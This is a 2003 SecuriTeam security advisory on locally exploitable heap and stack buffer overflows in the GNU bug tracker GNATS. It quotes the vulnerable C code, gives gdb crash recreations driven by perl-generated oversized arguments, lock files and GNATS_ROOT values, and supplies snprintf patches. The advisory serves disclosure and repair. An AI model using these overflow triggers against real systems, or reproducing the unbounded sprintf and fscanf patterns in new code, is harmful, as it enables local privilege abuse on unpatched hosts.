[UNIX] GNATS (The GNU bug-tracking system) Multiple Buffer Overflow Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 06/23/03

  • Next message: SecuriTeam: "[NEWS] 55808 Trojan Analysis"
    To: list@securiteam.com
    Date: 23 Jun 2003 10:25:14 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      GNATS (The GNU bug-tracking system) Multiple Buffer Overflow
    Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.gnu.org/software/gnats/> GNATS is a portable incident/bug
    report/help request-tracking system which runs on UNIX-like operating
    systems. It easily handles thousands of problem reports, has been in wide
    use since the early 90s, and can do most of its operations over e-mail.
    Several front end interfaces exist, including command line, emacs, and
    Tcl/Tk interfaces. There are also a number of Web (CGI) interfaces written
    in scripting languages like Perl and Python. The product has been found to
    contain multiple locally exploitable buffer overflow vulnerabilities.

    DETAILS

    Vulnerable systems:
     * GNATS version 3.002
     * GNATS version 3.113.1
     * GNATS version 3.113

    Pr-edit Heap Based Overflow
    A vulnerability exists in function that handles the directory name that
    the user provides (the `-d' option):

     `/gnats-3.2/gnats/pr-edit.c':
        --
            ...
        83 void
        84 main (argc, argv)
        85 int argc;
        86 char **argv;
        87 {
            ...
       170 lock_gnats ();
            ...
        --

    The lock_gnats() function can be found in `/gnats-3.2/gnats/internal.c'
    line:199.

    Vulnerable code:
     `/gnats-3.2/gnats/internal.c':
        --
            ...
       199 void
       200 lock_gnats ()
       201 {
       202 char *path = (char *) xmalloc (PATH_MAX);
            ...
       206 sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root); // here.
            ...
        --

    Pr-edit Stack Based Overflow
    A vulnerability exists in the product's file handling (reading) process.
    Whenever the program reads a "PR".lock file an undefined buffer (in the
    matter of size) is read into a limited sized buffer (1024).

    The lock_pr() function can be found in the `/gnats-3.2/gnats/pr-edit.c'
    line:390 file.

    Vulnerable code:
     `/gnats-3.2/gnats/pr-edit.c':
        --
            ...
       172 switch (edit_options) {
       173 case LOCK:
       174 result = lock_pr (fname, username);
       175 break;
            ...
       390 static int
       391 lock_pr (fname, user)
       392 char *fname, *user;
       393 {
            ...
       403 if (stat (lock_path, &buf) == 0)
       404 {
       405 FILE *fp = fopen (lock_path, "r");
       406 char buf[1024];
            ...
       413 fscanf (fp, "%s", buf); // here.
       414 fprintf (stderr, "%s: PR %s locked by %s\n", program_name,
       415 fname, buf);
       416 fclose (fp);
            ...
        --

    Gen-index, pr-edit, queue-pr Heap Based Environment Variable Overflow
    The init_gnats() function found in `/gnats-3.113.1/gnats/pr-edit.c' code.
    (line:170) file, is vulnerable to an overflow:

     `/gnats-3.113.1/gnats/pr-edit.c':
        --
            ...
       170 init_gnats (program_name);
            ...
        --

    Another function, configure() found in `/gnats-3.113.1/gnats/misc.c' code.
    (line:41) file, is also vulnerable to an overflow:

     `/gnats-3.113.1/gnats/misc.c':
        --
            ...
        41 void
        42 init_gnats (program_name)
        43 char *program_name;
            ...
        48 configure ();
            ...
        --

     init_gnats() -> configure() -> getenv();

     `/gnats-3.113.1/gnats/config.c':
        --
            ...
       132 if (! gnats_root)
       133 {
       134 gnats_root = getenv ("GNATS_ROOT");
            ...
        --

    Exploit:
    GNATS v3.002 pr-edit Heap Overflow:
    Recreation:
     (gdb) r -d`perl -e 'print "x"x9000'`
     Starting program: /usr/local/lib/gnats/./pr-edit -d`perl -e 'print
    "x"x9000'`

     Program received signal SIGSEGV, Segmentation fault.
     0x40075cf5 in __mempcpy (dstpp=0x8051988, srcpp=0xbfffd9e5, len=9000)
         at ../sysdeps/generic/mempcpy.c:57
     57 ../sysdeps/generic/mempcpy.c: No such file or directory.
     (gdb) c
     Continuing.

     Program received signal SIGSEGV, Segmentation fault.
     0x4006fcba in chunk_alloc (ar_ptr=0x40104040, nb=4104) at malloc.c:2884
     2884 malloc.c: No such file or directory.
     (gdb)

    GNATS v3.002 pr-edit Stack Overflow:
    Recreation:
     [x82@xpl017elz gnats]$ perl -e 'print "x"x2000' > /tmp/x82.lock
     [x82@xpl017elz gnats]$ cat /tmp/x82.lock
     xxxxxxxxxxxxxxxxxxxxxx ... xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ... xxxxxxxxx
     [x82@xpl017elz gnats]$ gdb -q pr-edit
     (gdb) r -d /tmp/ -l ./x82 ./x82
     Starting program: /usr/local/lib/gnats/./pr-edit -d /tmp/ -l ./x82 ./x82
     pr-edit: PR locked by xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ...
     ... xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

     Program received signal SIGSEGV, Segmentation fault.
     0x4005d72a in _IO_vfprintf (s=0xbfffcf94,
         format=0x804cea7 "%s: PR %s locked by %s\n", ap=0xbffff70c)
         at vfprintf.c:1259
     1259 vfprintf.c: No such file or directory.
     (gdb) where
     #0 0x4005d72a in _IO_vfprintf (s=0xbfffcf94,
         format=0x804cea7 "%s: PR %s locked by %s\n", ap=0xbffff70c)
         at vfprintf.c:1259
     #1 0x400606b4 in buffered_vfprintf (s=0x40103d20,
         format=0x804cea7 "%s: PR %s locked by %s\n", args=0xbffff704)
         at vfprintf.c:1758
     #2 0x4005bf66 in _IO_vfprintf (s=0x40103d20,
         format=0x804cea7 "%s: PR %s locked by %s\n", ap=0xbffff704)
         at vfprintf.c:1029
     #3 0x40063f47 in fprintf (stream=0x40103d20,
         format=0x804cea7 "%s: PR %s locked by %s\n") at fprintf.c:32
     #4 0x80498a9 in lock_pr (fname=0x78787878 <Address 0x78787878 out of
    bounds>,
         user=0x78787878 <Address 0x78787878 out of bounds>) at pr-edit.c:414
     #5 0x78787878 in ?? ()
     Cannot access memory at address 0x78787878.
     (gdb)

    GNATS v3.113.x pr-edit, queue-pr, gen-index Heap based environment
    variable Overflow:
    Recreation:
     bash-2.04$ export GNATS_ROOT=`perl -e 'print "x"x5000'`
     bash-2.04$ gdb -q ./pr-edit
     (gdb) r
     Starting program: /usr/local/libexec/gnats/./pr-edit

     Program received signal SIGSEGV, Segmentation fault.
     0x804c416 in init_states () at files.c:611
     611 s_end->next = s;
     (gdb) where
     #0 0x804c416 in init_states () at files.c:611
     #1 0x78787878 in ?? ()
     Cannot access memory at address 0x78787878
     (gdb)

    Patch:
    GNATS v3.002 patch:
     === gnats-3.002.patch ===
    --- internal.c Sat Dec 11 05:02:19 1993
    +++ ../gnats.bak/internal.c Sat Jun 14 15:18:10 2003
    @@ -203,7 +203,7 @@
       struct stat buf;
       int count;
     
    - sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
     
     #define MAXWAIT 10
     #define GRANULARITY 1
    --- pr-edit.c Sat Dec 11 05:02:27 1993
    +++ ../gnats.bak/pr-edit.c Sat Jun 14 15:16:35 2003
    @@ -410,7 +410,7 @@
           if (fp == (FILE *) NULL)
      return 0;
     
    - fscanf (fp, "%s", buf);
    + fscanf (fp, "%1023s", buf);
           fprintf (stderr, "%s: PR %s locked by %s\n", program_name,
             fname, buf);
           fclose (fp);

     === eof ===

    GNATS v3.113 patch:
     === gnats-3.113.patch ===
    --- files.c Wed Sep 22 08:18:39 1999
    +++ ../gnats.bak/files.c Sat Jun 14 14:06:17 2003
    @@ -271,7 +271,7 @@
       char *path = (char *) alloca (PATH_MAX);
     
       memset (array, 0, NUM_RESPONSIBLE_FIELDS * sizeof (char *));
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root,
    RESPONSIBLE_FILE);
       fp = fopen (path, "r");
       if (fp == NULL)
         return 0;
    @@ -358,7 +358,7 @@
       int i, nerrs = 0;
     
       memset (array, 0, NUM_CLASS_FIELDS * sizeof (char *));
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, CLASSES);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CLASSES);
       fp = fopen (path, "r");
     
       if (fp == NULL)
    @@ -585,7 +585,7 @@
       int i, nerrs = 0;
     
       memset (array, 0, NUM_STATE_FIELDS * sizeof (char *));
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, STATES);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, STATES);
       fp = fopen (path, "r");
     
       if (fp == NULL)
    --- gen-index.c Wed Sep 22 08:18:39 1999
    +++ ../gnats.bak/gen-index.c Sat Jun 14 14:06:55 2003
    @@ -256,7 +256,7 @@
       Categories *c;
     
       if (! catfile)
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
       else
         path = catfile;
     
    --- index.c Thu Mar 18 08:45:38 1999
    +++ ../gnats.bak/index.c Sat Jun 14 14:07:43 2003
    @@ -399,7 +399,7 @@
       if (! index_filename)
         {
           index_filename = (char *) xmalloc (PATH_MAX);
    - sprintf (index_filename, "%s/gnats-adm/%s", gnats_root, INDEX);
    + snprintf (index_filename, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root,
    INDEX);
         }
     
       fp = fopen (index_filename, "r");
    --- internal.c Wed Mar 3 09:18:53 1999
    +++ ../gnats.bak/internal.c Sat Jun 14 14:08:27 2003
    @@ -238,7 +238,7 @@
       struct stat buf;
       int count;
     
    - sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
     
     #define MAXWAIT 10
     #define GRANULARITY 1

     === eof ===

    GNATS v3.113.1 patch:
     === gnats-3.113.1.patch ===
    --- files.c Mon Feb 12 06:36:25 2001
    +++ ../gnats.bak/files.c Sat Jun 14 13:17:58 2003
    @@ -271,7 +271,7 @@
       char *path = (char *) alloca (PATH_MAX);
     
       memset (array, 0, NUM_RESPONSIBLE_FIELDS * sizeof (char *));
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root,
    RESPONSIBLE_FILE);
       fp = fopen (path, "r");
       if (fp == NULL)
         return 0;
    @@ -358,7 +358,7 @@
       int i, nerrs = 0;
     
       memset (array, 0, NUM_CLASS_FIELDS * sizeof (char *));
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, CLASSES);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CLASSES);
       fp = fopen (path, "r");
     
       if (fp == NULL)
    @@ -593,7 +593,7 @@
       int i, nerrs = 0;
     
       memset (array, 0, NUM_STATE_FIELDS * sizeof (char *));
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, STATES);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, STATES);
       fp = fopen (path, "r");
     
       if (fp == NULL)
    --- gen-index.c Wed Sep 22 08:18:39 1999
    +++ ../gnats.bak/gen-index.c Sat Jun 14 13:19:58 2003
    @@ -256,7 +256,7 @@
       Categories *c;
     
       if (! catfile)
    - sprintf (path, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
       else
         path = catfile;
     
    --- index.c Thu Mar 18 08:45:38 1999
    +++ ../gnats.bak/index.c Sat Jun 14 13:22:21 2003
    @@ -399,7 +399,7 @@
       if (! index_filename)
         {
           index_filename = (char *) xmalloc (PATH_MAX);
    - sprintf (index_filename, "%s/gnats-adm/%s", gnats_root, INDEX);
    + snprintf (index_filename, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root,
    INDEX);
         }
     
       fp = fopen (index_filename, "r");
    --- internal.c Wed Mar 3 09:18:53 1999
    +++ ../gnats.bak/internal.c Sat Jun 14 14:09:45 2003
    @@ -238,7 +238,7 @@
       struct stat buf;
       int count;
     
    - sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
    + snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
     
     #define MAXWAIT 10
     #define GRANULARITY 1

     === eof ===

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:xploit@hackermail.com>
    dong-h0un U.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] 55808 Trojan Analysis"

    Relevant Pages